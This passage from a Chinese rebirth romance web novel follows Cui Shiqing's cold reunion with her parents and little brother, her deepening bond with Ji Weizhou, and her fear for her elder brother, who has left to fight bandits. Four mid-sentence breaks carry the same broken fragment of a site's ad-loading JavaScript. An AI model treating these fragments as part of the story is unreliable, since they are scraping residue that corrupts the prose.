西北土地本就贫瘠,遇上干旱,更是寸草不生。而崔丰年生不逢时,出生就碰上几十年少有的大荒年。在这样的年景下,南陵侯夫人也跟着百姓们饿得面黄肌瘦。小儿取名‘丰年’,实则却是缩衣节食下,病病弱弱长大的。 前一世,她见过七岁、种过地的崔丰年,比现在要壮实许多。当时她就想,家中的传言不真,这崔丰年胖墩墩的,哪里像是吃过苦了? 没想到,还真是苦过。 崔时清沉默着,希望小芽菜自己识相,闭上嘴巴。 小芽菜软绵绵地趴在崔时清的膝头,很‘识相’地托着腮、歪着头,瞅她。 “阿姐,你怎么不理我呀?” 崔时清敛眉盯着腿上的小人,轻飘飘的,让人厌烦得很。 隐忍委屈自己?这是不可能的。 看在血亲的份上,崔时清把已到嘴边的‘滚’字,换成了更温和的语气。 “走开。” “……”崔丰年不想走开,就转头看向纪月隐,小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小声问道:“阿姐为何不抱丰年?她不喜欢丰年吗?” 纪月隐正要安抚,却见崔时清双眼带着恶意的冷笑,推开了趴在膝上的小儿。 崔丰年软绵绵的身子,没有招架之力,一屁股坐在了地上。稚幼的面上没有疼痛,但显然是被吓了一跳,目光有些惊慌。 屋子里一片死寂。 崔时清看着脚边的小儿,残忍地回答道:“不许靠近我,我不喜欢。” 纪月隐望着脾性乖戾的女儿,哪怕心中还惦记着她的伤情,还记挂着十年不曾相见的思念,却还是忍不住皱起了眉。 崔其沂的眉眼有些颓丧,默不作声地弯下腰,扶起地上泪眼婆娑的幼子。 耳边传来低低的啜泣,崔时清不为所动地坐着。 纪月隐忍了又忍,还是忍不住以失望的目光,看着自己的女儿。 十年不见,远在西北的他们,一直都在挂念亲生骨肉。 看不到人、得不到书信,他们就请国公府每半年画一张丹青图,以此聊以慰藉。在收罗的各种消息中,行事张狂、奢侈无度、专横跋扈…… 每每看到这些字眼,他们都选择自欺欺人,不愿相信这些评说。 然而,亲眼所见她对幼弟的淡漠冷情,书信上的字句似乎都跃然出现在了面前。纪月隐又一次后悔,后悔当年放任崔时清离开自己的身边。 “时娘,你……” 纪月隐口中的训斥,在触及那双平静的目光时,戛然而止。 真是够了。 崔时清哪怕再如何淡然,也没有办法忍受三道直勾勾的视线,忍受身边‘慈母心肠’的纪月隐。 在她如坐针毡、几乎无法忍耐的时候,纪危舟走上前,与长辈们行礼问安后,恭敬地来到纪月隐的面前。 “时娘与姑父姑母多年不见,本该骨肉相亲,但她伤了心脉,忌讳大悲大喜,也抱不得丰年,还请姑父、姑母见谅。” “伤及心脉?!” 他们的女儿,都遭遇了什么?! 崔其沂、纪月隐震惊难言,看着还好端端坐在眼前的人,不敢相信,也害怕相信。 “此劫凶险,但好在时娘吉人天相,才勉强将养了不少。”纪危舟恭敬如旧,但却没有半点照顾长辈的意思,直言真相。 他们本该、又一次失去自己的女儿。 崔时清神色复杂地看向纪危舟。 他提及这些,想做什么? 她知道,纪危舟特意哄她来此,是为了他们的婚事。他应是做足了准备,想要哄劝自己的父母,尽快应下婚事、年内成婚的。 但现在把自己的伤情说得如此严重,就不怕因此,而推迟婚期吗?毕竟在性命面前,婚姻大事根本不足为道。 崔其沂和纪月隐面色发白,眼睛一错不错地盯着女儿,唯恐眨眼之间,她就会突然消失。 “……软。”纪月隐双手颤抖。 纪危舟却像是没看到一样,打断了她的声音,双手作揖深深伏拜了一下,当着他们,扶起了面色冷沉的女娘子。 “时娘应当用药了,我送她回院子,晚些时候再来与姑父姑母请罪。” 崔时清静静看着纪危舟,心里突然升起一个奇怪的念头。 他、在替我抱不平? 36. 底线 在长辈们的注视下,崔时清跟着纪危舟离开。 一路上若有所思,不时抬头看一眼下颌紧绷的死对头。 真是奇怪,崔时清想。 “嗯?”注意到崔时清的视线,纪危舟略微躬身看她。 “你在生什么气?” 对,崔时清发现了,他好像是在生气。 “我没有。”纪危舟不承认。 但他心里知道,他是在生气,生自己的气。 从前,他就知道崔时清和崔家人存有隔阂,似乎是与她离开家人,选择独自入京有关。他想当然认为,所谓隔阂也许不过是小女娘在幼时的误解,经过多年两地分隔,可以通过他来化解。 由此,他也能够得到长辈的认可。 直至看见堂屋中的人,看到崔时清满不在乎的眼神下,一闪而过的委屈,他后悔了。 世间多得是过不去的坎坷,无法原谅的人,他经历过的,从没有忘记。可自负,却让他选择忽略,以至于把自己也觉得委屈的事情强加于他想要护着的人。 纪危舟望着崔时清,心想,既然她不愿意,从此多余之人也不必相见,谁也不能勉强她。 “没有?” 崔时清慢吞吞地坐在竹榻上,拿起小几上的团果子,吃了一口,才慢声慢气道,“你撒谎了,我哪来什么药需要现在用了?” 她一直信奉的是汤药不离身,没什么是一碗药养不好的,不够就多喝几碗。 但纪危舟却不这么认为,他坚持药有三分毒,食补比汤药更能将养身子。在她可以下地行走后,除了早晚一次用药外敷伤口,她就没有再看到其他能够称之为药的东西了。 纪危舟没有落座,径直来到崔时清的面前,张开了双臂,望着她,“不是累了吗?” 崔时清垂眸觑着这双、对她伸出的手,顿了一下,有些扭捏地开口道:“我又不是六岁小儿,累了就坐着躺着,哪有还要人抱的。” 纪危舟弯下腰,视线与她平齐,说道:“是我累了,想要你陪着。” 崔时清的目光微微一凝,怔愣地瞅着他。眉眼精致如画,好看的不似凡俗之人,然而专注望着她的黑眸,却有暖光流淌,为其添了几分动人的烟火气。 怎么会有人,成日操劳忙碌,还越过越漂亮了呢? 崔时清正纳闷着,还没想明白,已经不知何时探出身子,扑入暖暖的胸怀中,面颊贴在颈项露出的皮肤上,磨蹭了好几下。 “……”意识到这些的崔时清,僵硬了一瞬,低垂着颤抖的长睫,声音弱弱地找补道,“嗯、满足了吧?以后不可太黏人。” 托在后颈上的大掌缓慢地抚过背脊,感受着紧绷的肌骨在掌心一点点放松,纪危舟才以透着浓浓依恋的嗓音,轻声索要。 “还不够,软软要永远陪着我。” 永远? 崔时清乍然听到这个词,不以为然的同时,又莫名有些心不在焉。像是有一只看不见的勾子,悄然拉扯了她一下,闹得她直觉奇怪。 崔时清仰头看着他,等了许久,好奇道:“你不训斥我吗?” 纪危舟在清凌凌的眉眼间亲了一下,笑着说:“软软做错了什么?” “我才没有错。”崔时清矢口否认,说完又安静了须臾,才粗声粗气地问,“……可,你不该说我有失孝悌忠信礼义廉耻之道吗?” 纪危舟张口闭口言说‘忠孝仁义’还是在第一世。 那时,他不知人心不古,轻薄诡诈盛行于世,只一味坚守圣贤之道,直到吃尽苦头,才明白枉曲直凑的愚钝。 虽然时移世易,但自己犯下的错,还是要自己承担。 叹了一口气,纪危舟低头,抵着崔时清的额头,说道:“软软无错,错的一直是我。” 震惊已经不足以形容崔时清的心情,如同青天白日撞上鬼,崔时清惊骇之余,就是自我怀疑。 她都做了什么?这还是天老爷的儿子吗?他的大是大非呢?被人偷了吗? 崔时清眼神发直,干瞪着眼前的人,不知岁月几何,直到眼睛感到酸涩,才讷讷地开口道。 “你真心的?” “真心。” “没想到,你是这样的人。” 崔时清扯了扯唇角,真心的,不信。 “怎样?”不被信任的纪危舟,苦涩一笑。 崔时清掰着手指头,细数道:“护短?没原则?不辨是非?” 为了讨女娘的欢心,偏私至此,还说尽鬼话。若是纪危舟早早暴露了本性,她也不至于将这厮看作对头,不死不休斗了九世啊。 崔时清瞅着纪危舟的眼神都不由友爱了几分,还夹杂着一股‘大水冲了龙王庙、自家人打自家人’的懊恼。 突然收到自家人善意的目光,纪危舟受宠若惊,笑呵呵地连连说道:“应该的,应该的。” 这么不要脸吗? 崔时清啧啧称奇,轻拍着他的肩膀,感慨着,“你很有结党营私、官官相护的潜力啊。” 纪危舟把羞耻心抛之脑后,认真听完,又虚心求教,“这是在赞许我?” 崔时清皮笑肉不笑。 “这是让你好生待在校书郎的位置上,安心编修古籍,勿要深入庙堂,以免成了权臣贪官、晚节不保。” “……这番话,听着虽然刺耳,但也有几分道理。”纪危舟颔首受教。 崔时清疑窦丛生,微微眯着眼睛,上上下下地端详着他,末了才弯起无害的浅笑,娇羞地抱着纪危舟的脖颈,轻轻摇了摇。 “你当真无欲无求吗?” 纪危舟错愕地看着她,“软软,是我还不够努力吗?” 崔时清:“……” 这厮就没个正经了? 纪危舟不依不饶:“怎么不说话?若是……” “闭嘴。”崔时清双手交叠,堵住了纪危舟的口鼻,恨不得闷死他。 清澈的黑眸认真地看她,也不挣扎。 崔时清抿了抿唇,没有等来求饶,让她不免有些挫败。 最后,只得悻悻然地松开了手,托起纪危舟的下颌,欺身在他的唇瓣上咬了一口。听到吃痛的闷声,内心才得以平衡。 “你不眼馋高官俸禄、滔天权势吗?” 纪危舟垂眸思索了一下,点了点头,“眼馋。” 八世稳坐至尊之位,享尽世间尊荣,但人心依旧,无法真正对钱权二字漠然无睹。他承认,如果帝位和崔时清可以共存,二者他都想要。 但世间难有两全之法,他想借着‘崔氏恶女’逆天改命,就要奉上一切。不止是天道给予的大帝命数,也包括这条性命。 毕竟,比起钟鸣鼎食、比起滔天权势,他更期待崔时清能够给他的、所有。 “那你还敢应我的话?”崔时清瞪了他一眼。 纪危舟把她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的手握在掌心,眼中藏着满天星辰,缓缓说道。 “高官俸禄,谁不想要?但人生短短数十年,我愿为低微小官,与软软长久厮守,看尽世间繁华、日升月落。” 崔时清很不自在,不敢直视他的眼睛,还想抽回手指,害怕他掌心过高的温度会烫伤自己。但她不想表现出任何异样,以免纪危舟认为她被这三言两语所影响,乱了心神。 忍耐着浑身的不适,崔时清强装镇定地抬眸,老神在在地回以一个冷淡的表情。 “这些都是你自己说的,没做到就打断你的腿。” “……其实,我还是有些顾虑的。”纪危舟低声道。 “你都没想好,就忽悠我?!”崔时清圆睁双眸,有点生气。 纪危舟拍了拍她的脊背,给她顺气,“我只是有些担心。” 崔时清越发急躁,气呼呼道:“什么担心顾虑的,有话就说,拖拖拉拉作什么?” 纪危舟凑上前,鼻尖贴着鼻尖,清晰地看着桃花眼里焦躁又在乎的情绪,他才心满意足地开了口。 “没有高官厚禄,我也许会养不起软软。” 崔时清愣了一下,甚至还等了一会儿,以为他还有什么没说完的。 “……” “……” 他们四目相对,都在眼巴巴等着对方开口,一时落针可闻,安静的不得了。 崔时清耐心不足,皱着眉,不可思议地问:“没了?” 纪危舟乖觉点头,“没了。” “啊?”崔时清一拍脑门,再看着纪危舟,像是看着什么人间蠢物,仔细打量了半天,才纳闷地问道,“朝堂上,有那个高官比我有钱了?” 纪危舟敛眉思考片刻,摇了摇头,“没有。” 世家之首,几百年的家产,良田旺铺不可尽数。 崔时清还没有出嫁,仅是私库的钱财,也不是寻常朝臣可以比肩的,更不提她名下的田地铺子,日进斗金的江南生意。 京都恶霸不说手段,单论钱财她也一枝独秀啊。 崔时清很满意这个答案,语气散漫,挑起纪危舟的下巴,把李昶纨绔子弟的姿态学了个十成。 “除非你成了天下之主,否则再如何钻营,也抵不过我库房里的九牛一毛呀。还不如乖乖待在我身边,只要你听话,想要什么,我都给你。” “软软不会骗我?”纪危舟扬起头颅,任由崔时清轻挑又暧昧地把玩着他。 崔时清斜视着他,冷哼道:“难不成你还想要了我的身家性命?这可不给!” 哄人是哄人,她还是有底线的! 纪危舟微微启唇,含住作怪的指尖,轻啃了一下,浅尝辄止。狭长的黑眸漫不经心地落在崔时清的唇上,嗓音低醇又清缓。 “我只要你我永世不相离。” 什么永世不永世,崔时清听得不甚明白。 她只知道,自己的视线不受控制地飘忽着,心砰砰乱跳,快要抑制不住心猿意马的冲动,但她又不想在纪危舟的刻意勾引下而失去原则,只得硬气骂了声“贪心”。 纪危舟闻言,慢声道:“可以吗?” 崔时清忍得面色涨红,瓮声瓮气地应:“可以什么……” “可以贪心吗?”纪危舟凝视着她,粲然笑了。 强撑的理智随之崩塌,崔时清不记得自己还说了什么,但她记得,为了博取美人之笑,她做了许多。 37. 抱错 自从那日从吴氏院中离开,崔时清再没有见过父母和幼弟。 不论他们是因为什么,没有来她面前表现父母之爱,崔时清都乐见其成,只求尽可能减少与他们往来相处的次数。 这样对谁都好,崔时清如此想。 生活一如既往的平静,唯一不同的是,纪危舟变得忙碌了。 她暗自揣测,唯恐这厮背着自己偷偷上进,特意派人探听。 三公子与她父亲在打拳。 三公子与她父亲在烹茶。 三公子与她父亲在打拳。 三公子与她父亲在烹茶。 三公子与她父亲在打拳。 三公子与她父亲在烹茶。 …… 打拳烹茶的次数之多,一日三次、没有间断,让她好奇得抓心挠肝。 除了喝茶打拳,就没有别的乐子了? 没有多久,也不必小厮探听,崔时清自己都听说了。 ——三公主和侯爷成了万年交,日日出双入对,一刻都离不开彼此了。 “……” 享受了几天逍遥自在、无人吵扰的日子,崔时清有些不是滋味了。 同样过得没滋没味的,还有纪危舟。 哄着小女娘陪他胡闹了一通,孤零零回到院子的那一夜,未来老丈人崔其沂正蹲在墙角等他。 还没想出如何抵挡他们吵扰自己的小女娘,他先是身体遭受重创,随后就被未来老丈人系在革带上,走哪儿带哪儿,美其名曰与他一见如故,实则是为了监视,不许他再偷摸地赖在小女娘的院中。 变相达成目标的纪危舟,感到很痛苦。 是真的痛,头痛、心痛、浑身都痛。 鸡还未鸣,崔其沂便准时出现在自己院中,带他早起操练武艺、强身健体。 未来老丈人的心是好的,但总能忘记,前一夜还与他秉烛夜谈、灌了他几坛酒。 如此日复一日,纪危舟酒量大涨、武艺精益,但想人想得紧,无计可施之际,崔时清的院子来了两位客人。 * 正在酸溜溜地烹煮养生茶的崔时清,收到了纪秦婉拜访的通传,兴冲冲地下榻迎人。 瞧瞧,她也可以很忙的! “知知也来了?” 崔时清笑盈盈地望着纪秦婉,余光瞥见她身后那张青涩的面孔,刚要招呼张知茵来身边,小女娘就牵着一个小团子走了过来。 猛然看到崔丰年,她一时有些怔然。 纪秦婉连忙笑着解释,“方才看到丰年蜷在路边拔草,身边也没个人看着,我就带着过来了。” 崔丰年昂起脏兮兮的小脸,瞄着还没收起笑脸的崔时清,眼睛紧张得眨个不停,没有忘记阿姐不喜欢他。 但阿姐喜欢知知姐姐,是不是也可以喜欢他? 崔丰年的心中重燃希望,圆鼓鼓的眼睛也随之亮了起来。 怎么脏兮兮的,还真是南陵城里长大的小儿。 崔时清微微蹙眉,以挑剔的目光睨着他。 姐弟二人大眼瞪小眼,无声地对峙片刻。 清澈透亮的眸子,带着满满期待地瞅着她,崔时清轻哼了一声,没有说什么,让他们坐下。 桑麻取来热水帕子。 崔时清不时扫一眼乖乖抬头,让桑麻擦拭面上灰土的小儿,见他面皮总算是干净了,又忍不住嫌弃起他的衣裳。 最后桑麻卸下了崔丰年的外衣,套着她没穿过的短衫,崔时清才勉强满意了点,让玄鱼把香饮和团果子端来,不许他吵闹。 在阿姐的威压下,崔丰年可不敢乱来,抓着一块蜜糕吃着。 崔时清看他装乖的模样,轻哂了一下,转而与张知茵说话。 “那日惊险,知知可害怕?” 张知茵攥着小拳头,摇了摇头,“不怕。” “小姑很勇敢。” 纪秦婉拉着张知茵的手,也忘不了当日所见。 她在闺阁中就自诩胆色过人,嫁与武将,知道夫君是要与刀剑相伴,更是把临危不乱时时记在心中。 然而她毕竟是京都城中娇养出来的女儿,看到杀手,还是不免慌了神。而一向唯唯诺诺、胆小怕事的小姑,在危难时却挺身而出,护着自己逃生。 原先她对张知茵更多的是爱屋及乌、与对弱者的怜悯之心,经此一事,看着与夫君如出一辙的眉眼,纪秦婉由衷生出了信赖与敬意。 张知茵敏锐地察觉到长嫂的改变,心底的不安在日益增长的信任中此消彼长,也不再惶惶不可终日地担忧着自己的多余。 崔时清听了纪秦婉讲述公主府的遭遇,看着被夸得面颊红粉、羞得缩成一团的张知茵,忍不住伸手揉了揉她的脑袋。 “知知好厉害,都会保护人了。” 张知茵眼睛亮亮的,显得很高兴。 崔时清收回的手,在半空碰到了同样毛茸茸的小脑袋,她瞅着把脑袋往她掌心蹭的崔丰年,神色微怔。 “阿姐,我也能保护人了。” 崔丰年的嘴角还挂着蜜糕的碎屑,说话间飘飘扬扬往下掉,落在短衫拱起的小山坳里,堆了不少。 “你能保护谁?” 指尖动了动,崔时清把他的脑袋推了回去。 “丰年可以保护阿姐!” 温热的小脑袋没有一点自觉,像是找到了什么乐子,和崔时清你来我往、推力缠斗。 “不许动。”崔时清没有一丝感动,咬牙切齿地轻斥了一声。 “嗯?阿姐,我还要玩呀。” 崔丰年乐呵着,蛄蛹起小身板,往崔时清面前凑。 “谁会这么玩?” 眼睁睁看着崔丰年把糕饼渣滓往自己身上蹭,崔时清气不打一处来,恨不得提着他的脑袋,揍一顿。 “阿兄呀,阿兄最喜欢和我玩这个啦!”崔丰年天真无邪地瞅着她。 提及兄长崔长殷,崔时清更想不通了。 她和兄长生得聪敏又漂亮,怎会有这么一个傻里傻气的弟弟?莫不是抱错了? 困惑是困惑,但想起好久不见的兄长,她还是有些怅然,便开口问道:“阿兄怎么没来?” 崔丰年扒拉着阿姐的手臂,仰头答道:“阿兄来了!” 崔时清觉得手里怪沉的,还肉乎乎的,顺势掐了一把,却被纤弱的身子骨吓了一跳,连忙卸了手劲,虚虚地托付着他。 “人呢?怎么没看到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他?” 十年间,崔长殷不时会来看崔时清,他也是崔时清对西北南陵城、唯一的念想。 崔丰年又向前试探了一下,没有被拒绝,便撅起小屁股,得寸进尺地滚进阿姐的怀里。 “阿兄路上碰到友人啦,背着阿爹阿娘说了好多话,就跟人走了。” 崔丰年的身子像是新出锅的白雪糕,黏糊糊又热腾腾的,让崔时清一时不知如何应对。她很想把人推开,又唯恐稍微用力些,会把小儿郎的骨头折断。 没人管管他吗? 崔时清看向了纪秦婉和张知茵,谁知二人一门心思都在香饮子上,看都不看她一眼。她转而觑着侍立于身边的桑麻,只见她垂眸不语,好似没了五感,像块木头一样直愣愣杵着。 忍耐了片刻,崔时清低头冷冷道:“坐好。” “丰年坐好啦!” 崔丰年扶着崔时清的手臂,在她怀里稳稳坐正,昂起头,眼巴巴地等着阿姐的赞许。 也罢,至少没有像只虫子一样扭来扭去。 崔时清抿了抿唇,不想夸他,再提起兄长之事。 “来找阿兄的是何人?” 崔丰年揪起两道眉毛,认真想了许久,才声音清脆地大声回答:“不知道呢!” 不知道?不知道还骄傲了?! 崔时清暗暗嘟囔了两声,不想再跟傻得冒泡的弟弟说话了。 崔丰年的眼睛滴溜溜转了一圈,确认周围的人都在自顾自的忙,不会偷听他们说话以后,才在崔时清的怀里缩成鬼祟的一团,紧张兮兮地说道。 “丰年知道他们要去做什么!” 崔时清拍了下不安分的小屁股,随口问:“你怎么知道?” 崔丰年眼睛有神,自豪地扬声道:“我跑去偷听啦!” 张知茵和纪秦婉抬眸看了一眼他们,又故□□吃团果子一样,一边在碟子里挑拣着,一边正大光明地听着小儿郎的秘密。 真是傻啊! 崔时清轻叹了一口气,嫌弃之余也不耽误她‘关心’兄长。 “你都听到什么了?” 在讨阿姐欢心,和被阿兄揍屁股之间,丰年只犹豫了一下,就有了决定。 他认真地看着崔时清,强调道:“阿姐可不能和别人说哦。” 崔时清扫了一眼周围竖起的耳朵,也郑重地点了点头,“我不会说。” 崔丰年不疑有他,高高兴兴地肚子里的秘密都吐了出来。 “山匪,阿兄去杀山匪啦!” 崔时清的耳边嗡了一声,被骤然间弃置于光怪陆离的诡秘中。 所有声音都被拉扯成诡异的声调,目之所及都扭曲成光斑暗影,她的心怦怦乱跳着,手脚虚软无力,只在瞬息之间,便出了一身的冷汗。 “阿姐?阿姐怎么了?” 在绵软的小手下,崔时清从诡秘中抽身而出,望着丰年稚幼天真的眼睛,缓缓止住了心头的恐慌。 山匪之乱是来年才暴发的。 茂县落草为寇的匪徒,还龟缩在深山中。 阿兄不会遇见他们。 崔时清忍不住,抱紧了丰年,再一次告诉自己。 阿兄不会有危险的。 38. 告状 很多时候,人也无法控制自己的思绪。 越是企图想要自己确信的,往往是怀疑的根源。 直到纪秦婉又领着两个小的离开,崔时清蜷缩成团,心神还陷在茂县山匪之乱中。 勉州茂县,距离京都三百里,是个地道的穷乡僻壤之地。 山匪之乱源于前朝贪官的遗祸,酷吏重税下,良民被迫进入孤山、落草为寇。时移世易,原本劫富济贫的山匪也逐渐不满足于山中的贫苦岁月,嗜杀成性,山脚下的茂县百姓深受其害。 孤山,她前一世埋骨之所。 当时山匪动乱,朝廷派出将领围剿,纪危舟作为粮草督军,前往孤山协助镇压。她也暗中跟随,趁乱把纪危舟逼上了悬崖。 在其间她亦得知,朝廷派来的将士在孤山中并不及当地土匪有优势,反倒是皇长子赵洛行团练的民兵,还能与其迂回一二,没有陷入颓势。 崔时清没有活到最后,并不知道山匪之乱有无平定,也不知道此刻的茂县有没有山匪冲突。 也许有,但小小的冲突、是不会让京都人在意的。 她一心都扑在纪危舟的身上,几条无关紧要的性命,与死对头吃了几碗饭相比,并不足以令她侧目。 这样导致她,枉失了许多先机。 但往事不回头,即便可以重来,她的选择也不会改变。 …… 纪危舟得了空闲,忙不迭捧着一匣子米珠,来讨崔时清的欢心。 一进门,就看见窝在竹榻上、神色恍惚的人。 他脚步微顿,扫了一眼周围垂首侍立的婢子,又看着矮几上没有收起的琉璃杯,还有一件沾了点心碎屑的短衫,心下微沉。 命人退下,纪危舟才慢慢吞吞地朝她走去。 崔时清注意到动静,面色不虞地掀起眼皮,还没开口,对方却先哭丧着脸,告起状来。 “阿爹实在太过分了,软软要帮我。” 崔时清浑不在意道:“舅父又怎么了?” 纪危舟把匣子塞入她手中,挽起衣角,随意坐在踏床上,伏趴于崔时清的膝头。 这都是从哪里学来的? 崔时清瞅着膝上的大脑袋,眼皮跳了几下。 “不是父亲,是阿爹。”纪危舟气恼地说。 崔时清听明白了,也不心急,打开匣子扫了眼满满当当的米珠,拨弄了几下,语气散漫道:“……你什么时候多了个爹?” 拉过玩弄米珠的手,贴在面颊上,纪危舟忧郁地说:“有了软软以后,就多了一位。” 崔时清看着和崔丰年一样,挨挨蹭蹭的小动作,低啐了一声,“现在还不是,你要是烦了,以后也可以不是呀。” 纪危舟连忙正色,双手握着她,郑重其事道:“是是是,以后也是!多了阿爹,我欢喜都还不够呢!” 崔时清放下匣子,抚上脖颈的经络,指尖划过凸起的喉结,抬起了他的下颌,专注地看着狭长的黑眸,声线冷然。 “那你还来告状?” 纪危舟委屈地望着她,哭诉:“这还不是因为阿爹不许我来见你吗?” 崔时清眉眼微扬,故意说道:“不是都在传说,你们二人一见如故,一刻都离不开对方了?” “这都是什么呀?” 纪危舟皱着脸,惨兮兮地申辩,“阿爹知道我们酒后犯糊涂,说要陪我练酒量,一天三顿地灌我酒。说要与我切磋拳脚,趁我酒醉之时揍我出气!这样还不够,早晚蹲守在我院子里,看我比看犯人还严。” “啊,真惨。”崔时清惊讶地眨着眼睛。 “就是!你说,阿爹如此是不是过分了?!”纪危舟环着崔时清的腰,眼巴巴地瞅着她,只差没落下几滴男儿泪。 “哦,这样,是有点。”崔时清同情地摸了摸纪危舟的脑袋,笑弯了眼。 “那你是不是要帮我?!”纪危舟捏了捏崔时清腰侧的软肉,不让她笑。 崔时清想起她父亲那张脸,笑容僵了一下,又神色如常地看着纪危舟。 “我能怎么帮?帮你灌醉了他,套麻袋揍一顿?”本是取乐般的戏笑,说出口后,崔时清倒有些跃跃欲试,桃花眼都亮了几分。 “……这匣子米珠,正适合嵌在新绣鞋上,软软可还喜欢?” 纪危舟看出她的兴致,再不敢继续这个危险的提议。 这事不能做,要是做了,未来老丈人拿小女娘没辙,对他可不会手下留情! 崔时清顺着纪危舟的话,想了想,也觉得合适。但面上却不显,没好气地拍了他一下,轻嗤道。 “有贼心没贼胆。” “老丈人是长辈,还是要敬重的。”纪危舟讪讪然笑了下。 崔时清被纪危舟东拉西扯了一通,紧绷的情绪也松懈了下来,懒洋洋地靠在凭几上,看着天道之子难得吃瘪的表情,感到好笑的同时,免不得要揶揄几句。 “他不是看着不准来吗?你怎么在此?” 纪危舟有些神气地弯唇笑道:“主家派了人,阿爹要招呼他们,哪里还顾得上我了?” 崔时清愣了一下,又想起涉及自己的婚事,叔父定是要派人来的。 “所以你就阳奉阴违?看来我也不能太信任你了。” 纪危舟微微仰起头,一眼不眨地看着崔时清,竭力展现着诚恳的一面,“我只是寻来了好物,想亲自交与软软,怎么也算不得阳奉阴违吧?” “怎么不算了?”崔时清斜睨着他。 “算不得!”纪危舟抱着她的腿,耍起无赖。 崔时清被闹得不行,也就不再与他在言语上争锋,散漫地踢了他一脚,“还不起来?六岁小儿都没你能闹。” 纪危舟就着崔时清伸出的手起身,挨着她坐下后才看着脏乱的短衫问道:“何人来了?” “表姐带着她家小姑、和崔丰年过来玩。”崔时清心不在焉地托着腮。 端起崔时清用过的香饮子,抿了一口,他又道:“丰年闹你了?” 崔时清横眉冷对,“他敢?!” “那软软为何闷闷不乐?”纪危舟笑了笑,撑起身子,专注地瞧着她。 崔时清迎上了他的眼睛,思忖着慢声道:“你可知道皇长子在勉州练兵之事?” 纪危舟眨了一下眼睛,颔首道:“有听说,是在山匪横行的、勉州?” 崔时清有些焦虑地扣了扣凭几上的刺鸟纹路,“是,勉州茂县的土匪尤为猖狂。” 纪危舟握住她的手,轻轻捏了一下,问道:“怎么想起此事?发生什么了?” 崔时清张了张嘴,却不知从何说起。 那是他们不死不休的地方,哪怕纪危舟没有前生的记忆,面对此人,她也没有办法平静地道出孤山之事。 “无事,我随意问的。” 纪危舟也不意外,把耷拉着、没有神采的脑袋按在心口处,语气平淡地说:“那软软可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以告诉我,丰年他们过来都谈了什么吗?” 崔时清听着如战鼓般沉稳有力的心跳声,心下也跟着安定了不少,习惯成自然地伸出手,落在那劲瘦的腰腹上。 “表姐让我们去草场烤肉。” 纪秦婉在西郊有一片草场,专门饲养牛羊,当朝禁食牛肉,但在自家草场里吃几只大肥羊,谁也管不着。纪秦婉成婚以后,又养了不少骏马,不时就会邀请亲友,同去跑马吃肉。 草场地大,二月春时,崔时清还在此办了一场蹴鞠赛,和世家女玩耍了一日。如今再想起,还是觉得逍遥快活得很。 可惜,她有伤在身。 崔时清昂起头,语气弱弱地问:“可以去吗?” 纪危舟摸了摸她的脑袋,笑道:“自然可以。但不可骑马射箭、蹴鞠饮酒。” 崔时清可爱惜自己的性命了,当然知道这些,可耐不住心中的不得劲,抿了抿唇,怏怏不快地抱怨着。 “这也不行,那也不能,我还去草场做什么了?” “草场上有不少时花,在春知乡可买不着,软软选了喜欢的,我也可多绘几种衣饰图样,提前把冬衣备下。” 崔时清蜷在他怀中,不说话,但心里却是满意的。 她的衣裳首饰被人眼馋过好几次,可是大大满足了她的虚荣心!今年冬日,她还要当最漂亮的京都恶霸! “届时我再猎几只山鸡,用荷叶裹起来,埋进土中烤熟。荷叶鸡肉质香嫩,可比寻常烤鸡好吃多了。” 清汤寡水过了一段日子,乏味得很,可又怕烤肉太燥,对身体不好。纪危舟的提议,直接让崔时清咽了口水,恨不得立马就能吃上。 抓着他的衣襟,崔时清小声提议:“后院那只山鸡好吃吗?” 纪危舟也认真思考了一下,说:“小花近来养得肥了些,若是要吃,兴许还要饿几顿。” 玄鱼喂、你喂,还要逼她一起喂,能不肥吗? 崔时清嫌弃地想。 纪危舟也提议道:“不如先用后厨的食材做一个,给你尝尝味道?” “好啊。” 崔时清笑弯了眼睛,心说这厮还真会讨女娘子的欢喜。 笑着笑着,她突然想到。 这狗东西原来就是这样吗?也给身边的女娘入厨房、做衣饰? 莫名收到审视的目光,纪危舟立即屏息凝神、收敛起眉眼间的得意,老神在在地端坐着。 “……软软、还想吃什么?”纪危舟语气慎重地问。 崔时清轻哼了一声,笑道:“三表兄还会什么?” 为何笑得如此渗人?他还要不要会些什么? 浓浓迷雾笼罩在纪危舟的头顶,让他感到进退不得,说话间不由字斟句酌,唯恐犯了崔时清的忌讳,遭来冷对。 “这、自然是要看软软了,只要软软有需要,我都可以学。”纪危舟说完,在心底给了自己一个认可的鼓励。 这样回答,定然不会有错了! 原来是看人下菜的狗东西!崔时清轻哂着。 纪危舟:“……” 答得不好吗?还是、她又不想吃荷叶鸡了?烤鸭、他可能也能做! 纪危舟正战战兢兢思索,何处惹了小女娘。 崔时清却转念思来,又自己想明白了。仰头重重在纪危舟的嘴唇上亲了一口,见他有些错愕,忍不住笑了起来。 管你以前如何,这一世都是我的了! 39. 出行 次日,崔时清起得很早,穿了件轻便的骑装,拿着马鞭就出门。 长辈没有出席,让这次出游显得很随性。有些积极的崔时清在马车边等了许久,同行的几人才稀稀拉拉出现。 “表妹这是憋坏了?还没养好身子可不能乱来啊!” 纪深云来的最晚,也没有穿骑装,上身的袍子松松垮垮的,纨绔子弟的做派表露无遗。 崔时清扬了扬手中的鞭子,冷声威胁,“要你管?”能不能跑马另说,反正去草场,她就要这么穿! 纪舒明正跟纪澄雨说着话,注意到这边的动静,抻着脖子开口道:“瞎操心什么!她这身架势,大虫也不是她的对手。” “碎嘴的东西。” 崔时清手痒痒的,恨不得给他们一人一鞭。瞪了他们几眼,扶着玄鱼的手上车。 “阿姐!阿姐!” 高亢又兴奋的声音远远传来,崔时清循声望去,看到了被纪月隐牵着走来的小矮个,眉心微蹙。 看到女儿眉眼微沉,纪月隐忐忑地停在了原地,再不敢上前。 自从知道女儿被长箭穿心,心脉寸断、险些丢了性命,纪月隐大哭一场,痛心得几欲昏厥,平静以后,却不敢去见她。 